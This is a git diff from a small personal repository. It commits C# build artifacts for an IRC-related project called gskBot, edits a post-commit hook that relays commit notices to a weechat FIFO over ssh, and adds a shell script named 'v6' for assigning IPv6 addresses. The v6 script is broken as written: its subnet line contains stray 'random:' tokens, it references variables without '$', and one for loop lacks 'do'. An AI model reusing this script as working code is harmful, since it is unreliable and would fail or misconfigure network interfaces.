+C:\Users\Kayla\Desktop\c#\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache +C:\Users\Kayla\Desktop\c#\gskBot\gskBot\obj\Debug\gskBot.exe +C:\Users\Kayla\Desktop\c#\gskBot\gskBot\obj\Debug\gskBot.pdb +D:\dev\c#\gskBot\gskBot\bin\Debug\gskBot.exe.config +D:\dev\c#\gskBot\gskBot\bin\Debug\gskBot.exe +D:\dev\c#\gskBot\gskBot\bin\Debug\gskBot.pdb +D:\dev\c#\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache +D:\dev\c#\gskBot\gskBot\obj\Debug\gskBot.exe +D:\dev\c#\gskBot\gskBot\obj\Debug\gskBot.pdb +C:\Users\john\Desktop\gskBot\gskBot\bin\Debug\gskBot.exe.config +C:\Users\john\Desktop\gskBot\gskBot\bin\Debug\gskBot.exe +C:\Users\john\Desktop\gskBot\gskBot\bin\Debug\gskBot.pdb +C:\Users\john\Desktop\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache +C:\Users\john\Desktop\gskBot\gskBot\obj\Debug\gskBot.exe +C:\Users\john\Desktop\gskBot\gskBot\obj\Debug\gskBot.pdb diff --git a/c#/gskBot/gskBot/obj/Debug/gskBot.csprojResolveAssemblyReference.cache b/c#/gskBot/gskBot/obj/Debug/gskBot.csprojResolveAssemblyReference.cache new file mode 100644 index 0000000..8c7de0c Binary files /dev/null and b/c#/gskBot/gskBot/obj/Debug/gskBot.csprojResolveAssemblyReference.cache differ diff --git a/c#/gskBot/gskBot/obj/Debug/gskBot.exe b/c#/gskBot/gskBot/obj/Debug/gskBot.exe new file mode 100644 index 0000000..3f485ce Binary files /dev/null and b/c#/gskBot/gskBot/obj/Debug/gskBot.exe differ diff --git a/c#/gskBot/gskBot/obj/Debug/gskBot.pdb b/c#/gskBot/gskBot/obj/Debug/gskBot.pdb new file mode 100644 index 0000000..b79b838 Binary files /dev/null and b/c#/gskBot/gskBot/obj/Debug/gskBot.pdb differ diff --git a/irc/post-commit b/irc/post-commit index 6b1dc21..91b7031 100755 --- a/irc/post-commit +++ b/irc/post-commit @@ -3,14 +3,12 @@ _data=$(git log -1 --graph --pretty=format:"%h|%s|%cn") _hash=$(echo "$_data" | cut -d'|' -f1 | cut -c 3-) _msg=$(echo "$_data" | cut -d'|' -f2) - -echo $GIT_DIR -_name=$(echo "$_data" | cut -d'|' -f3) - +#_name=$(echo "$_data" | cut -d'|' -f3) +_name=$(basename $(dirname $(git rev-parse --show-toplevel))) # Local hack to parse out ircart/supernets organizations _repo=$(basename -s .git $(git config --get remote.origin.url)) _summary=$(git show $_hash --stat | grep -E "fil(e|es) changed" | awk '{files+=$1; inserted+=$4; deleted+=$6} END {printf "%s|+%s|-%s", files, inserted, deleted }') _files=$(echo $_summary | cut -d'|' -f1) _inserts=$(echo $_summary | cut -d'|' -f2) _deletes=$(echo $_summary | cut -d'|' -f3) _ircmsg="irc.supernets.#superbowl *14[11GitHub14] Commit pushed to 08$_name/$_repo (06$_hash) 14[$_files14|03$_inserts14|04$_deletes14] : $_msg" -#echo "$_ircmsg" | ssh contra tee "$HOME/.weechat/weechat_fifo" > /dev/null \ No newline at end of file +echo "$_ircmsg" | ssh contra tee "$HOME/.weechat/weechat_fifo" > /dev/null \ No newline at end of file diff --git a/v6 b/v6 new file mode 100755 index 0000000..f87743d --- /dev/null +++ b/v6 @@ -0,0 +1,23 @@ +#!/bin/sh +interface='eth0' +subnet='2607:5300:201:3000:' random: random: random: random4 + +v6add() { + address=subnet + for i in $(seq $2); do + ip addr add $address dev $1 + echo $address + echo $address >> v6.output + done +} + +v6del() { + [ -f v6.output ] + address_list=$(cat v6.output) + for address in address_list + ip addr del $address dev $interface + done +} + +v6add +#v6del \ No newline at end of file